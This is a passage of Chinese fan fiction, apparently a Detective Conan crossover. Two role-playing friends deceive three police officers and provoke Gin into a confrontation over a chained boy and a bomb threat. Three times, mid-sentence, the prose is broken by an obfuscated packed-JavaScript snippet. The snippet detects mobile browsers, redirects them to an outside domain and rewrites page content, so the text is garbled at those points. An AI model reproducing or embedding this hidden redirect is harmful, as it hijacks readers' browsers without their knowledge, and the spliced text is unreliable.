然而萩原研二显然不这么想,他满脸好奇地再次凑近,表现得像是一个热情到没什么分寸感的人,不停追问着少年那个金发的外国朋友的细节: “竟然是美国人吗,长得帅吗?跟小牧山是怎么认识的啊?” 一连被问了好几个问题,少年显得有些无措。 但或许是出于礼貌,他还是慢吞吞地回答:“是从小就认识的朋友,跟我关系还不错,不过他从小就去国外生活,所以其实也很多年没见了呢。” 避开了外貌的问题,只透露了一些模糊的信息。 萩原研二继续问:“既然从小就去了国外生活,怎么最近忽然想起回到日本来了呢?” 少年也不厌其烦地回答:“说是已经渐渐遗忘了日本的文化,所以想回来看看。” 没什么意义的答案。再问下去想来也只能得到一些含糊的不知真假的答案而已。 萩原研二决定换个方向。他做出忽然想起什么的表情,挡住嘴凑到少年的耳边,超级小声地说:“哦对了,该不会这么巧……你上次提过的那个有被害妄想症的朋友,该不会也是他吧?” “不是。” 凑得太近了,男人身上微醺的酒气飘过来,少年不自在地眨了好几下眼睛。 说谎。 答得这么果断,没有多余一个字的解释,再配上细微的表情变化——大概率是在说谎。 “是吗,看来是我想多了……” 萩原研二装作喝醉了,一头栽倒在少年的肩上。 他知道没必要再问下去了,再问下去,得到的也只是谎言。 他装得很认真,倒得也很用力。出于惯性,少年的身体往后仰了一下,但很快稳住重心,双手搭在萩原研二的胳膊上,试图将男人扶起。 突然,萩原研二感受到两只胳膊上施力的手忽地顿了一下。 就在他以为是自己太重了,犹豫着要不要再假装清醒一点自己起来的时候,头顶忽然感到被少年的下巴轻轻蹭了一下。 萩原研二下意识抬头,迷茫之间,正巧看见少年侧过头看向窗外呆愣的表情。 像是被什么重要的东西吸引了注意力,视线下意识追逐过去,随后眼眸中漫出来不及遮掩的震惊和惊慌。 萩原研二反应极快地顺着少年的视线望过去,只来得及看到窗外一闪而过的黑影。 是辆黑色的汽车? 虽然只看到了一个车尾,但车型似乎比较特别,令人匆匆一眼就印象深刻。 保时捷356A吗? 萩原研二不太确定,他好像有点眼花。他用力眨了下眼睛,只觉得视网膜中少年的轮廓变得有些模糊。 糟糕,还真是有点喝多了呢。 25.烫男人是金发黑皮(二十五) 牧山晓早就为今天这次赴约做好了准备。 ——具体是指针对可能会被问到的问题,提前编好了答案。 本来他可以不答应这场邀约,如果没有发生那天下午的对话的话…… 亲友把装有组织资料的储存卡原件交给了琴酒,他回到安全屋后,牧山晓对他说了自己的想法。 “黑科技能需要的演绎值并不便宜,只是一个支线任务而已,除非必要,不然我不想浪费演绎值去兑换它。你觉得以降谷零的身份利用公安的人脉找一个黑客过来帮忙,这个办法可行吗?” 亲友当即一愣:“晓宝,我没有跟你说过吗,我没有公安那边的联络方式。” “啊?”牧山晓一时间没反应过来,“为什么,你不是继承了波本的技能吗,连他联络组织的手机都有,那联络公安的手机呢?” “我没有联络公安的手机。”亲友叹了口气,无奈地说,“晓宝你忘了,我的人设是黑透啊!” 牧山晓:“?!” “……” 牧山晓的脑子总算转过弯了。 虽然亲友是cos穿,但角色设定跟自己一样,也是由系统给出的剧本关键词生成的。 既然是黑方安室透,那不管设定是从未加入过公安,还是成为了公安然后叛变,现在都不可能会有公安的联络方式。 ……他居然完全忘了这一茬。 等等,也就是说,现在从公安那边的视角来看,等同于降谷零突然失联了? 那等他们演绎结束离开这个世界后,降谷零本人回来时,岂不是要面对一个相当糟糕的境地…… 抱着这样的担忧,牧山晓认为自己有必要在现阶段先与红方的人保持联系,所以他答应了伊达航的邀约。 时间回到现在。 牧山晓当然能感受到警校组三人对他的试探,从他们对自己那个“金发的外国朋友”的关注度来看,牧山晓甚至觉得他们是不是已经开始怀疑自己跟降谷零的关系了。 当然不管他们怀疑什么,他现在都不可能承认。 喝醉了的萩原研二似乎比清醒的时候更加“粘人”,牧山晓扶着几乎是栽倒在自己身上的男人,视线不经意地瞟过窗外,忽然身体猛地一僵。 是琴酒的车?! 就算不提那极其少见的古董车型,熟悉的车牌号也足以让牧山晓一眼就认定,这辆飞驰而过的黑色保时捷就是琴酒的车没错。 【牧山:我记得你说今天要跟琴酒去做任务?】 【傻狗波波:是啊。】 【牧山:你们现在在哪儿?】 亲友报出了一个地址,果然就在这附近。 牧山晓不禁皱眉。 【牧山:我和伊达航他们正好在这附近吃饭,最好别撞上了。你们大概什么时候离开?】 【傻狗波波:应该快了吧,我这边已经结束了,琴酒那边还要多久我不清楚。我们现在不在一起。】 【傻狗波波:他好像在跟我冷战,都不怎么跟我讲话的。(委屈巴巴)】 【牧山:我刚看到琴酒的车了。】 【傻狗波波:???这么巧的吗?】 【傻狗波波:你稍等我打电话问问。】 在松田阵平的帮助下,萩原研二总算从牧山晓的身上被撕开来。 “喂你这家伙,只是多喝了两杯烧酒而已就醉成这样,也太丢人了吧。”松田阵平粗暴地扯着萩原研二的胳膊,将人强行拽倒在榻榻米上,“清醒一点,不要在小鬼面前耍酒疯啊!” 可能是仰躺的姿势不太舒服,萩原研二又黏黏糊糊地爬到松田阵平身上,嘀嘀咕咕地说着醉话。 此时的牧山晓已经没心情看他们这对幼驯染互动了,他的视线时不时飘向窗外,显得有些心不在焉。 【傻狗波波:伏特加说他们正在追击任务目标,现在在距离你们两条街之外的位置。不出意外的话,他们应该会越追越远。你们只要晚点出来,应该遇不上。】 【傻狗波波:不过就算遇上了也问题不大,琴酒这人自带回避警察的被动buff,放心好了。】 【牧山:好,我知道了。】 没想到刚关掉脑内频道,耳边就响起松田阵平的声音:“hagi他真的有点喝醉了,班长,不然我们今天就到这里吧?” 伊达航也喝了不少,当下也觉得这场聚会差不多该结束了。 牧山晓虽然希望能再晚点出去,但见另外几人都有离开的意思,这时也不好发表什么意见。 希望琴酒的车已经走远了吧。 从居酒屋出来的时候,外面的天色已经彻底暗了下去。彩色的霓虹灯亮起,喧闹的街道与白日没什么不同,黑暗就这样悄无声息地降临。 深秋的风是冷的,但吹在醉酒的人身上,只让人觉得神清气爽。 车停在几条街之外的停车场。 因为几人都喝了酒,自然不好再开车回去。伊达航单手插兜,一边走路,一边用手机叫代驾。 牧山晓是准备打车离开的,但他犹豫了一下,没有立刻跟三人告别,而是打算跟三人一起走到停车场的位置,自己再叫车。 萩原研二一出门就又黏上了牧山晓。男人揽住少年的肩膀,毫无形象地挂在少年身上,嘴里嘟囔着一些不知所云的话。 不知道是不是牧山晓的错觉,他总觉得越是快要到停车场的位置,揽在肩上的手臂收得越紧。 路过一个巷口的时候,萩原研二忽地脚步一停,扯得牧山晓一个后仰。 “怎么了?”牧山晓立即问。 走在前方的两个人听到动静,都回过头来。 萩原研二的脸埋在牧山晓的脖子附近,嘟嘟囔囔地说:“有点……想吐。” 牧山晓:“?!!!” 哥你千万别吐我身上! 他一边激动地试图扯开扒着自己的萩原研二,一边大声向松田阵平呼救:“松田警官!他说他想吐!!!” “哈?现在?”好在松田警官面冷心热,虽然一脸烦躁,却还是很快走过来施以援手。 总算把人扯开,牧山晓松了口气。见萩原研二难受得厉害,提议道:“不然把他扶到巷子里……” 【傻狗波波:别进巷子!赶快离开!】 【牧山:?!】 【傻狗波波:琴酒在里面!】 【牧山:!!!】 少年的话锋猛地一转:“前面有个便利店,里面应该有洗手间,不然把他扶到那里去吧!” 松田阵平皱着眉朝前面看了一眼,果然看到前方不远处有一个24小时营业的便利店。 他的视线又落在棕发少年的脸上,少年的脸色看不出任何异样,甚至冲他扯出一个微笑:“松田……松田哥,我来帮你!” “……不用。”松田阵平先是因为这个称呼一愣,随后装出不在意的样子,拒绝了他的帮助,还顺带嘲讽,“这家伙可不算轻,别把你的小身板压坏了。” 牧山晓:“?”看不起谁呢! 最终还是松田阵平和伊达航合力将萩原研二送进了便利店的洗手间,并暂时把他一个人留在了里面。 松田阵平出来买水,伊达航就站在牧山晓的身边跟他闲聊。 “hagi他已经很久没有喝成这样过了。”伊达航面带轻松的笑意,说着,“你知道他是爆\炸\物处理班的吧?” 牧山晓一边分神注意着窗外,一边点头:“嗯,我知道。” “他和阵平两个人刚从警校毕业,就因为展露拆弹天赋而被爆\炸\物处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639640|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理班招揽,后来更是有了‘拆弹天才双子星’的外号。不过前段时间,hagi因为一些原因被调到搜查一课,从那之后他好像就一直闷闷不乐……” 牧山晓被他的话吸引了注意力:“原来萩原警官之前在搜查一课任职过,不过为什么呢?” “因为他……个人的一些原因吧。”或许是因为涉及到萩原研二的隐私,伊达航看起来没打算在这个话题上过多解释,转而继续道,“他在搜查一课的时间不久,即使是回到爆\破\物处理班后,虽然他平时表面看起来没什么,但其实内心的状态一直很紧绷。” “好久没见他这么放松过了。” 至于为什么今天的萩原研二格外放松,伊达航没有解释更多。 牧山晓的注意力只被拉回来了一瞬,没过多久,他的视线再次不自觉地飘向玻璃窗外。 这条街道上店铺不多,晚上也没什么行人,看起来远不如之前他们吃饭的居酒屋所在的街道热闹。也正因如此,牧山晓没有在第一时间发现那辆停在阴暗处的黑色保时捷。 【牧山:琴酒走了吗?!】 【傻狗波波:还没有!】 【牧山:他怎么还不走,他到底在干什么啊?!】 【傻狗波波:额,拷问任务目标?他要从那人口中逼问出信息。不过放心,他今天应该不会杀人。】 【牧山:……根本没办法放心。】 萩原研二并没有在洗手间待很久。他磨磨蹭蹭地走出来时,状态看起来好了许多。 正巧这时候伊达航叫的代驾也快要到了,所以几人没有在便利店过多停留。 走出便利店的门后,落后三人一步的牧山晓忽然开口:“那个,不然就在这里道别吧,我就不去停车场了。” 伊达航回身看他:“不坐我的车吗?我可以先把你送回去。” 牧山晓摇摇头:“不了,我朋友刚好在附近,他说要过来接我,我在这里等他一会儿。” 松田阵平挑眉:“那个金发的外国朋友?” 牧山晓犹豫了一下,点了点头。 又是这样,明明一路上都没见少年看过手机,也不知道他是什么时候跟那位朋友联系的。仿佛他跟那位朋友有心灵感应似的。 又或者他只是因为不想坐他们的车,所以找了个借口。 伊达航沉默了片刻后,没有坚持,只是说了句:“那好,路上小心。” “我会的。” 三人分别跟少年告别后,转身朝停车场走去。 恰巧此时,一辆沿着街边缓缓行驶的黑色保时捷356A与他们擦肩而过。 原本步伐懒散地跟在幼驯染身侧的萩原研二忽然抬起头看了过去。 “怎么了?”松田阵平注意到萩原研二一直在盯着那辆黑色保时捷的背影,皱着眉问,“那辆车有什么问题吗?” 萩原研二停顿了几秒,才慢吞吞地回答:“不,没什么,只是觉得这种款式的车,现在很少见罢了。” “的确。”松田阵平赞同地点点头。 他刚走了几步,却发现伊达航没有跟上,转头一看发现男人停在原地,正朝身后凝望着什么。 松田阵平顺着伊达航的视线看过去,就看到了棕发少年孤零零地站在便利店门口的身影。 他出声唤醒像是在出神的伊达航:“班长,不放心那小子吗?” “啊,不……”伊达航回过神,说道,“只是发现他好像一直在盯着那辆车。” 松田阵平笑了:“小鬼头嘛,喜欢漂亮的汽车再正常不过了。” 毕竟就连他和hagi都是会忍不住盯着那辆车的背影看上半天。 “是啊。”萩原研二轻声重复了一遍自己刚刚说过的话,“因为真的是很少见的款式呢。” 26.烫男人是金发黑皮(二十六) 亲友接到牧山晓的时候,琴酒的车已经走远了。 棕发少年坐进白色马自达的副驾驶,一边系安全带一边问:“你刚刚说,琴酒最近对你态度很冷淡?” 亲友立刻委屈地抱怨起来:“岂止是冷淡,他简直是在职场冷暴力!除非任务上必要的沟通,否则不管我说什么他都不搭理我,他甚至不愿意让我坐他的保时捷!” 这也是为什么今天亲友开安室透的车来做任务,并且任务结束后没有跟琴酒一起离开。 “这两天他躲我跟躲瘟神似的,而且我怀疑他偷偷找朗姆打小报告。” 牧山晓问:“朗姆联系你了?” “那倒没有,是伏特加说漏嘴了。”亲友说,“原本琴酒说,朗姆让我最近跟他搭档,但刚才伏特加说今天做完这个任务,我跟琴酒的搭档关系就可以解除了。这才刚过去几天,如果不是琴酒跟朗姆说了什么,朗姆不应该会这么快改变主意。” 经过几天前天台那次的冲突后,琴酒有这样的反应并不难理解。 波本原本在组织里的形象,是行事诡谲莫测的神秘主义者,琴酒似乎本来就不爱跟这类人打交道。现在波本又突然“发疯”,行为更是变得不可控。恐怕琴酒会觉得跟这种人做搭档有风险,所以才避之不及。 牧山晓说:“这么说的话,之后琴酒就不会经常跟你见面了?” “嗯,虽然我没有收到朗姆的直接命令,但不出意外的话是的。”亲友说,“需要我粘着琴酒吗?不过要监视琴酒每天的任务内容有点难度,而且可能会带来一些其他麻烦。” 监测组织高层的动向是个危险的行为,尤其像琴酒这种核心成员,即便是同为代号成员的波本做这种事,也不可避免地会引来组织方面的怀疑。 “私人恩怨”这种理由未必能说服组织的所有高层。 所以牧山晓立刻说:“不用,太危险了,没这个必要。” 他低头沉思了一会儿,忽然问:“我记得你前两天说,新的安全屋已经准备得差不多了?” “对,所有东西都准备好了,而且地址也绝对安全,除了我们两个没人知道。” “正好,那就准备搬家吧。”牧山晓笑了一下说,“后天就搬怎么样?” …… 黑色的保时捷356A在行人稀少的街道上缓慢前行着。 伏特加一边开车,一边分神关注后视镜中渐渐缩小的人影。 “大哥,那几个条子走了,看起来好像没什么异样。不会出问题吧?” 副驾驶的车窗被缓缓升起,琴酒平静地收回视线,说:“没事,交给波本去处理。” 十几分钟前,他们在一条小巷里执行任务的时候,忽然听到巷口传来路人的交谈声。在琴酒的眼神示意下,伏特加当即用手\枪堵住任务目标正在呼痛的嘴,以免引起路人的注意。 可怜的男人被打得浑身是血,疼得瑟瑟发抖,却一声都不敢出。哪怕他听到外面的人喊了声“松田警官”,也不敢生出求救的心思。 警察这种特殊职业,身上总会带有一些经历过正规渠道培训才有的印记。站姿、走路的重心、讲话的气息等等,只要认真观察这些细节,不难辨认出一个身穿便衣的警察的身份。 琴酒当即判断,那四个路人中除了那个少年,剩下的大概都是警察。 他们藏在暗处耐心等待着,像蛰伏在黑暗中的猛兽。终于,那几个人离开了巷口,看起来没有发现他们。 琴酒仍旧不放心,任务结束后,他要求伏特加开车在街上不着痕迹地绕了一圈,速度缓慢地从那几个男人所在的便利店门前经过。 虽然黑色的保时捷吸引了他们的视线,但没看出别的异常。 为了以防万一,琴酒皱着眉打通了波本的电话。 “喂?”电话那头传来男人慵懒的声音,背景音是车载音响中传出的轻快的爵士乐。 琴酒直接报出了一个详细的街道地址:“这个地方的监控,你找人处理一下。处理得聪明一点,别让人察觉。” 他说完,不打算等对方回应,就要挂断电话。 然而电话那头立刻传来的回应却阻止了他的动作。 “你在担心那几个警察吗?”男人轻笑起来,嗓音越发磁性,“我已经提前处理好了,就算他们后面想回来调查,也只会发现那条巷口的监控刚好损坏了——纯属意外的那种哦。” 琴酒立即冷声道:“你在监视我?” 不过他很快想起,在巷子里与任务目标“接触”的时候,伏特加曾接到过波本的电话。 于是他转而质问:“你知道那几个条子会路过那里,你是怎么知道的?” 不然不可能有这么快的反应去处理监控。 “我自然有我的情报。”男人并未掩饰自己敷衍的意思,甚至要挟道,“总之,你欠我一次人情。琴酒,你得想办法还回来。” “呵,人情?”琴酒简直为他的厚脸皮发笑,冷哼了一声后说:“你原本大可以直接将我和伏特加出现在那里的那段监控替换掉,可你却选择了破坏监控。波本,这两种处理方法哪个更容易惹人怀疑,你该不会分不清吧?” “到底是因为你愚蠢,还是因为你别有私心?” 琴酒不但没有被“波本”敷衍过去,反而极其敏锐地找到了关键所在。 替换掉监控的办法虽然麻烦费时,但却最干净,最不引人注意。一旦有人事后怀疑什么想到调去监控,却发现监控恰好损坏,就算找不到证据,也一定会猜到有人动了手脚。 他不相信波本只能想到如此简单粗暴的处理办法,除非他有更多的顾虑。 电话那头瞬间沉默下来,只余渐入尾声的爵士乐在孤独地响着。 “波本”的反应,就好像被琴酒一句话抓住了把柄似的,沉默中透露出隐秘的心虚。 琴酒满意地笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645352|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。自从那天天台的冲突之后,连日以来憋在胸口那股说不清的郁气终于消散几分。 他其实并不是很在乎波本到底有着怎样的“私心”。这疯子最近精神不太正常,琴酒巴不得离他远点,对方想干什么都跟他没关系。 总归不可能是跟警察勾结。 他现在真心实意地认为以波本卑劣阴暗的本性,他就算背叛组织,也不可能跟警察勾结。 不过就算不在乎,也不妨碍琴酒以此为由头借机“报复”对方。他乐得看到“波本”吃瘪。 “我说波本,你该不会跟那几个条子认识吧?又或者你偷偷监视的对象其实是他们的其中之一?所以你才对他们的行踪了如指掌。” “养小情人也就算了,你该不会还跟条子搞在一起了吧?”为了恶心“波本”,琴酒不惜用自己能想到最恶毒的话去肆意诋毁对方,“那毁坏监控是为了什么,为了销毁你跟条子幽会的证据吗?” 电话那头仍是沉默。琴酒的嘲弄没有得到任何回应。 几秒的静默后,琴酒有些可惜的“啧”了一声。要么是波本将情绪波动隐藏得很好,要么是对方根本没有将他的嘲笑放在心上。 隔着电话,无论对方有什么反应,他都不能第一时间看到。 琴酒顿时觉得自己这小小的“报复”行为很是无聊。 竟然用这种话题嘲讽波本……他可能是被伏特加那只有八卦的脑子传染了,脑子出了点问题。 短暂的发泄过心中的郁气后,酒厂top killer的理智再度回归。 波本不大可能提前预测到他的行动路线,他提前毁掉监控一定有别的目的。而当时经过那条巷口的只有那一行人,除了那三个警察,就只剩那个看起来像是高中生的少年了。 琴酒没有直接挂断电话。长久的沉默过后,他再次开口,语气冷静了许多。 “那个跟条子混在一起的男孩,他是你的任务目标吗?” 这次男人终于有了回应:“你什么意思?” “不管是不是。”琴酒说,“我要他的身份信息,以及他今晚的行动路线。最好一个小时后能给我。” “为什么?”男人立即问,语气带着并未遮掩的负面情绪,“你为什么会对他感兴趣?” 琴酒认为这很正常,毕竟两人刚刚的交流不算愉快,所以没怎么在意:“别问那么多,一个小时后给我。” 直觉告诉他那个男孩身上有点什么特殊的东西,只是他现在还没弄清楚是什么。 刚才有那么一瞬间,他怀疑自己在后视镜中,跟男孩对上了视线。 让他没想到的是,刚刚一直表现得情绪平静的波本,竟然莫名其妙地突然低笑起来。那笑声从喉咙中一点点渗出,像是划过冰层的尖刀,带着阴郁又锋利的寒气。 “呵呵呵呵呵……”男人声音低哑,用毒蜜一般磁性的嗓音吐出一句,“琴酒,你真的该死。” 27.烫男人是金发黑皮(二十七) 爵士乐不知道什么时候停了,耳边异样的安静,连对方的呼吸声都微不可闻。 电话那头静到极点,一片死寂的氛围给人一种失控的不安感。 波本似乎不打算对他异常的行为做出解释。这让琴酒越发觉得情况不妙。 琴酒在想自己现在挂断电话还来不来得及。至于他想要的信息……他可以找别人,组织里的情报人员不止波本一个人,就算其他人没那么好用,也比像个疯狗随时会犯病的波本强。 “算……” 然而,他还没来得及撤销自己的要求,就被对面打断:“想知道我手中有你的什么把柄吗?明晚八点,来这个地址找我,我会给你想要的答案。” “不来也没关系,我会去找你——不过到时候,请原谅我带一些不太礼貌的东西上门做客哦。” 话音刚落,电话就被挂断。 紧接着,手机就收一条到来自波本的信息,是一个详细的地址。 琴酒:“……” 憋火,无比憋火。 波本真的疯了,疯得不轻! 一旁的伏特加见琴酒脸色前所未见的难看,连气都不敢喘,原本想要打听波本说了些什么的心思顿时烟消云散。 保时捷的车速依旧缓慢,伏特加沿着眼前的道路行驶着,心中迷茫又无助。 大哥还没吩咐接下来要去哪儿,他根本不知道该往哪儿开啊!问也不敢问,难不成要再绕回去吗? 好在没过多久,琴酒总算开口了。他报了一个安全屋的位置,不是他们常去的那个。 “你今晚去这里修整,明天休息,不用出任务。” 伏特加立即听出琴酒的言下之意,连忙问:“那大哥你呢?” “我去一趟组织的基地。”琴酒冷笑,“我一个人就可以。” …… 电话挂断后,牧山晓没忍住使劲搓了搓臂膀。 “你刚刚笑得真的很变态,也很反派。”他对亲友的演技给予了肯定,“我要是琴酒,这会儿肯定气炸了。” 亲友也给出鼓励:“你的BGM也配得很好,气氛把控得恰到好处!” “我都这么刺激他了,他明天不能不来吧?” “希望吧……”牧山晓其实没有特别大的把握。 刚刚亲友跟琴酒通话的时候连的是蓝牙耳机,其中一个耳机给了牧山晓,所以他全程听到了琴酒和亲友的对话。 他没想到自己竟然引起了琴酒的注意。身为明确知晓红黑双方身份的人,他在面对刚才那种红黑双方差一点就见面的刺激情境下,没能忍住内心的紧张,所以才盯着琴酒的车多看了一会儿,没想到这就挑动了琴酒敏锐的神经。 真不知道亲友天天是怎么跟这个怪物相处的。 琴酒向“波本”索要他的身份信息,对他们来说是个意外,也是个借题发挥的绝佳时机。 演绎值获取的速度太慢了,照这个进度下去,他们不知道要何年何月才能攒到足够回家的演绎值。 所以牧山晓最近一直在计划搞场“大的”。就像一个完整的剧本中必然有高潮的部分,只要前期的铺垫足够,这个高潮部分一定能够给“观众”留下深刻的印象。 现在剧本中的两位“主角”已经经出场,并且其中一位已经成功在琴酒这位“特邀观众”的面前树立起疯批的形象。接下来,剧情就该逐渐向高潮推进了。 此前牧山晓一直在找推进剧情的这个“契机”,恰好今天琴酒的行为,就给了他这个“契机”。 所以他们顺理成章地邀请琴酒进入下一幕剧目的观众席,就看对方会不会准时赴约了。 对自己的猎物拥有着变态控制欲的囚禁犯,在发现心爱的猎物遭到觊觎时,理所当然地会向觊觎者发起挑衅。而在无知无觉时成为“觊觎者”,同时又被强行推上“观众席”、被迫目睹这场犯罪行为的琴酒,又会有怎样的反应呢? …… 送伏特加到安全屋后,琴酒一个人开着车前往组织在东京的秘密基地。 他先是钻进训练场,一个人一声不响地打了整整两个小时的狙,待心中的怒气稍减后,又径直朝武器库走去。 他知道波本约自己的目的,无非是他不小心触碰到了对方的逆鳞,对方与野兽相似的本能令他向自己发出宣战。 尽管琴酒真的只是无心之举——他后来才反应过来,那个棕色头发的少年,十有八九就是波本在秘密圈养的小情人,而波本关注那几个警察、销毁监控这一系列举动,无非是因为那个少年。 他甚至怀疑,当时波本可能就在那条街的附近暗中监视着自己的小情人。而自己特意跟波本分开进行任务的指令,说不定好巧不巧地,正好迎合了波本的心意。 一想到这个,琴酒就不禁觉得晦气,心中好不容易平息下去的怒火差点被重新点燃。 波本这个该死的疯子!在他和伏特加在认真做任务的时候,这家伙到底在干些什么?! 琴酒不打算将这件事报告给朗姆。至少目前来看,他与波本之间的恩怨并不牵扯到组织的任务,纯粹是波本自己犯病,而自己只是倒霉地被这条疯狗盯上了。 比起把他们之间的矛盾捅给朗姆,还不如他亲自动手解决,才更干脆利落。 更何况这种糟心的事,没必要闹得众人皆知。 他现在心中憋着一股气,他迫切地想要给波本一些教训,让这个疯子好好洗洗脑子清醒清醒! 琴酒在武器库中挑挑拣拣,誓为这场“宣战”进行精心的准备。明晚八点,他将“盛装”出席。 …… 第二天晚上八点,琴酒准时来到波本给他的地址。 他是一个人来的,他的保时捷就停在公寓楼下。 他拿出手机,摘下右手的皮质手套,给波本发信息:【我到了。】 对方的回复是一个门牌号。 琴酒挑眉。在公寓内吗?空间狭小、周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15651038|170691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围有住户,一个不适合打斗、更不适合动枪的地方。 琴酒稍稍提起了些兴趣,他很好奇波本引他来这里是为了什么。 将手套带回,银发杀手扶了下头顶的礼帽,朝公寓内走去。 无论外表还是内部,这里看起来似乎都只是一个普通的公寓,没什么稀奇。琴酒在路过大厅时,甚至还跟一对穿着随意牵着狗的情侣擦肩而过。 琴酒脚步不停,坐上电梯一路来到波本给出的位置。然后他背对着楼道里的监控,按响了门铃。 意外的是,门铃刚刚响起第一声的时候,“咔嚓”一声,门自动开了。 左手条件反射地伸进大衣里,摸上别在腰间的枪。 什么也没发生,门后没有人。 琴酒面无表情推开门,毫不犹豫地走了进去。 屋内没有光源,他右手搭在门把手上没有放松,左手缓缓掏出□□,随后停在玄关处,不再深入。 他安静地蛰伏着,既不前进,也不后退,像极了一只耐心地悄然观察猎物的野豹。 直到一道灯光乍然亮起,刺得他眼睛微微眯起。 “把门关上。”波本平静的声音从房间深处传来。 视力恢复得很快,不到一秒的时间,他的眼前就变得一片清晰。 视网膜上瞬间映出眼前的场景,只是在大脑尚未来得及处理视觉所获取的信息之前,右手就下意识地甩上了房门。 下一秒,琴酒就后悔了。在看清面前的景象之后,他顿时整个人僵在原地。 这是一间过度整洁的公寓,目之所及之处除了必要的家具外什么都没有。随处可见的摆在明面上的监视器让它看起来与其他组织的安全屋没什么两样。 唯一格格不入的是客厅中央那个看起来柔软舒适的沙发——以及,沙发上那个蜷缩成一团的棕发少年。 少年身上穿着过于宽大的衣服,一看就不是属于他本人。并且琴酒觉得这套衣服十分眼熟,他怀疑自己见波本穿过。 但这不是重点。 琴酒的注意力第一时间被少年脚上纯黑色的镣铐吸引过去。那看起来像是个电子镣铐,牢牢地箍在少年的脚腕上,衬得他皮肤惨白。镣铐上连着一根看不出材质的链条,链条直直下垂,另一端隐没在沙发之下。 尽管看不清脸,但琴酒确信,这个棕发少年一定就是他昨天在街上见到的那个。 “波本,你……”银发杀手的嗓音微微低哑,开口却无话。 此时此刻,他无法理解自己为什么会在这里,更想不通自己究竟为什么答应波本赴约。 紧接着他却看到,原本即使听到有陌生人出现也一直死死蜷缩在沙发角落里,不肯抬头的少年,在听到他的声音后猛地看过来。 琴酒清楚地看到,那双浅棕色的、原本只有麻木和死寂的眼眸,在看到他的一瞬间,迅速燃起熊熊的烈火。 那是他再熟悉不过的、名为“仇恨”的火焰。 28.烫男人是金发黑皮(二十八) 他恨自己,恨到想亲手杀了自己。 与少年目光相对的一瞬间,琴酒就确信了这点。 他见过太多这种眼神,而对他露出过这样眼神的人,大多数已经死在他的枪下。 伯\莱\塔的枪口下意识地朝少年的额头偏移,却又在下一秒迅速移开。 比起被束缚的少年,从卧室里缓步走出的那个金发男人,显然更具威胁。 屋内的光源只有客厅这一个,金发男人站在卧室门口,那里恰好是光影的交界处,他的身后是深不见底的黑暗。他双手插在夹克外套的口袋里,姿势悠闲,看不出一丁点紧张。 枪口对上金发男人的左胸膛。 “波本,你这是什么意思?”此时的琴酒已经冷静了下来。 无所谓波本想玩什么把戏,他不理会就是了。反正他来这里的目的只有一个。 “只是想让你听一个故事。” 金发男人没有去看琴酒和他手中的枪,视线落在蜷缩在沙发中的少年身上,金色碎发挡住了他侧脸上的表情。 他平静的语气中带着诡异的温柔: “宝贝儿,我答应你的事做到了,接下来,就是你的舞台了。” 接着,他的视线转向银发杀手,目光瞬间变得冷厉。 “耐心听着,琴酒,做一个安分的观众,配合我的宝贝儿完成他的第一场演出。”他冷笑一声,右手从口袋抽出,亮出握在手心的引爆器,“否则,我会让你走不出这里。” “组织的新型炸弹,三个,威力你比我清楚。在我的宝贝儿表演完之前,只要你有异动,我就立刻引爆。” “这次可不是假的了哦。” 琴酒当然清楚,他不久前刚从组织基地的武器库见过。这东西是组织专门用来清扫任务场地的有利工具。甚至现在他身上还藏了一个——只是为了以防万一。 而波本在这栋楼里,放了足足三个,威力足以炸毁一整个工厂。 银发杀手瞳孔猛地一缩,持枪的手却稳稳地举着,没有半分动摇。 他猜到波本会来点狠的,上次在天台被对方用炸弹威胁时,他就隐隐预料到了这一天。但当他亲眼目睹这一刻时,仍旧对波本的疯癫程度感到震惊。 他难道是要彻底跟组织高层撕破脸吗? 组织内的私人势力错综复杂,高层之间的内斗从来没有停歇。可闹得这么不体面的,波本是第一个。 一旦炸弹被引爆,组织同时损失两名代号成员,而且还是死于内斗,BOSS一定会震怒的,到时候后果不堪设想。哪怕波本本人已经死了,跟他有关的所有人也要被扒层皮。 琴酒不相信波本不清楚这么做的后果。所以他更愿意相信,波本的这三个炸弹,目的只是震慑他。 就像之前在天台上那样,琴酒赌他不敢真的引爆。当然,除非必要,他自己也不会主动引爆他身上的那颗。 不防先看看波本想搞什么吧。 与金发男人饶有兴致的目光对上,银发杀握着伯\莱\塔的左手缓慢地垂下。 此时,棕发少年已经从沙发上站了起来。脚腕上的电子镣铐似乎有些重,在他起身时坠得他踉跄了一下。可他却无暇顾及这份耻辱的存在,因为他已经被沉默地站在不远处的银发杀手吸引了全部的注意力。 少年的目光死死盯着琴酒,视线在触及到男人左手中的伯\莱\塔时,浅棕色的双瞳掀起了剧烈的颤动。 